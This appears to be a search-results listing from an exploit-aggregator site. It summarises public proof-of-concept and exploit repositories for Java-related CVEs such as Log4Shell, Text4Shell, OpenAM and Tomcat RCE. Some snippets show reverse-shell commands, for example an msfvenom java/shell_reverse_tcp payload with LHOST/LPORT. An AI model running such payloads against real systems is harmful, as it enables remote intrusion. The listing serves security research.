59772 matches found
CVE-2023-26360-RCE
CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java...
async-http-client-check
async-http-client-check Comprobador offline de los 21 avisos de seguridad a nivel de repositorio deorg.asynchttpclient:async-http-client AsyncHttpClient, "AHC". Te indica a cuáles está realmente expuesto tu jar, señala los que Dependabot y OSV no pueden ver , y da una respuesta por línea: 3.0.13...
Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228
Log4JExploitation-VulnerabiliyCVE-2021-44228. introducción Se ha encontrado una vulnerabilidad de ejecución remota de código relacionada con la librería de registro de Java Log4j. CVE-2021-44228 Esta vulnerabilidad ha causado un gran revuelo en la comunidad cibernética mundial; desde Wannacry no...
psychic-signatures
CVE-2022-21449: Firmas Psíquicas en Java...
CVE-2023-46442_POC
CVE-2023-46442POC Entorno: Java 8 POC para CVE-2023-46442, vulnerabilidad de Denegación de Servicio encontrada en Soot anterior a 4.4.1 bajo Java 8 Al recuperar el cuerpo de un método creado maliciosamente, un archivo de clase o método de tamaño muy pequeño puede causar un enorme consumo de...
Apache-Commons-Text-CVE-2022-42889
Apache Commons Text CVE-2022-42889 Resumen Apache Text4Shell CVE-2022-42889 Las versiones afectadas de Apache Commons Text son de la 1.5 a la 1.9 y se ha parcheado en la versión 1.10. Apache Commons Text es una biblioteca Java descrita como "una biblioteca centrada en algoritmos que trabajan con...
Interpreter-HackTheBox
Interpreter — HackTheBox Plataforma: HackTheBox SO: Linux Estado: Retirado — walkthrough completo publicado. Walkthrough completo: l3dsec.com/walkthroughs/interpreter-htb Cadena de ataque root@kitploit: Nmap → Mirth Connect 4.4.0 80/443 → CVE-2023-43208 RCE por deserialización de Java sin...
php-8.1.0-dev-exploit
php-8.1-dev-Exploit ⚠️ Important read first This repository contains a Java proof-of-concept PoC intended for CTF / lab use only. Do not run this code against systems you do not own or do not have explicit written permission to test. Unauthorized exploitation is illegal. Use only in isolated...
Log4Shell-CVE-2021-44228-ENV
Entorno de reproducción de Log4Shell Descripción del ejemplo IP de la máquina objetivo: 47.47.47.47 IP de la máquina atacante: 48.48.48.48 Ejecutar el Docker vulnerable en la máquina objetivo Usar DockerFile para construir la imagen Docker y ejecutar: root@kitploit: docker build . -t vuln docker...
CLEANSTART-2026-FQ92351 RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes
Security vulnerability affects the apache-nifi package. The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes...
JObfuscator
JObfuscator — Ofuscación y protección de código fuente Java JObfuscator es un ofuscador de código fuente para el lenguaje de programación Java. Puede proteger su código fuente Java y sus algoritmos contra hackeos, cracking, ingeniería inversa, descompilación y robo de tecnología. JObfuscator empl...
Apache PDFBox 3.0.8 Flate PNG Predictor Disproportionate Heap Allocation DoS
Summary The Apache PDFBox library is an open source Java tool for working with PDF documents. This project allows creation of new PDF documents, manipulation of existing documents and the ability to extract content from documents. Apache PDFBox also includes several command-line utilities...
testng-team__testng_CVE-2022-4065_7-5
Documentación disponible en el sitio web principal de TestNG. Notas de la versión 7.4.0 7.3.0 7.1.0 7.0.0 ¿Necesitas ayuda? Antes de abrir un nuevo problema, ¿has hecho tu pregunta en...
CVE-2026-33439-PoC
CVE-2026-33439 — RCE Pre-Auth en OpenAM Ejecución Remota de Código pre-autenticación en OpenIdentityPlatform OpenAM = 16.0.5 mediante deserialización insegura de Java del parámetro jato.clientSession CVSS 9.8. Solo para pruebas de seguridad autorizadas. Inicio Rápido root@kitploit: 1. Build paylo...
CVE-2026-33439
🐞 CVE-2026-33439: RCE pre-autenticación en OpenAM mediante deserialización de jato.clientSession Conocimiento humano + análisis asistido por IA + ingeniería inversa + aviso → exploit Primera implementación de exploit compartida públicamente para CVE-2026-33439 Vulnerabilidad de deserialización de...
POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution
⚠️🚀 CVE-2025-24813 — Apache Tomcat RCE Exploitation Suite root@kitploit: ⚡ Version: 1.0 🛡️ CVE ID: CVE-2025-24813 Apache Tomcat RCE 🧬 Payloads: ysoserial / Java 🌐 Modo: Interactivo + Stealth 🔬 Uso: Ético, Investigativo, Educativo 🌌 Visión General...
CVE-2022-42889-text4shell
CVE-2022-42889-text4shell Descripción Este script es una herramienta de pruebas de penetración diseñada para explotar la vulnerabilidad CVE-2022-42889, también conocida como Text4Shell, en Apache Commons Text versiones -param $PARAMETER -L $LHOST -P $LPORT...
Ratpack-1
¿Qué es Ratpack? Ratpack es un kit de herramientas simple y capaz para crear aplicaciones web de alto rendimiento. Ratpack está construido sobre Java y el motor de redes basado en eventos Netty. La API está optimizada para Groovy y Java 8. La integración opcional de Google Guice proporciona una...
apache__uima-uimaj_CVE-2022-32287_3-3-0
Bienvenido al SDK de Java de Apache UIMA Apache UIMA le ayuda a gestionar datos no estructurados como textos que se enriquecen con información útil. Por ejemplo, si desea identificar una mención de una entidad en un texto o vincular esa entidad a un conjunto de datos de referencia, Apache UIMA...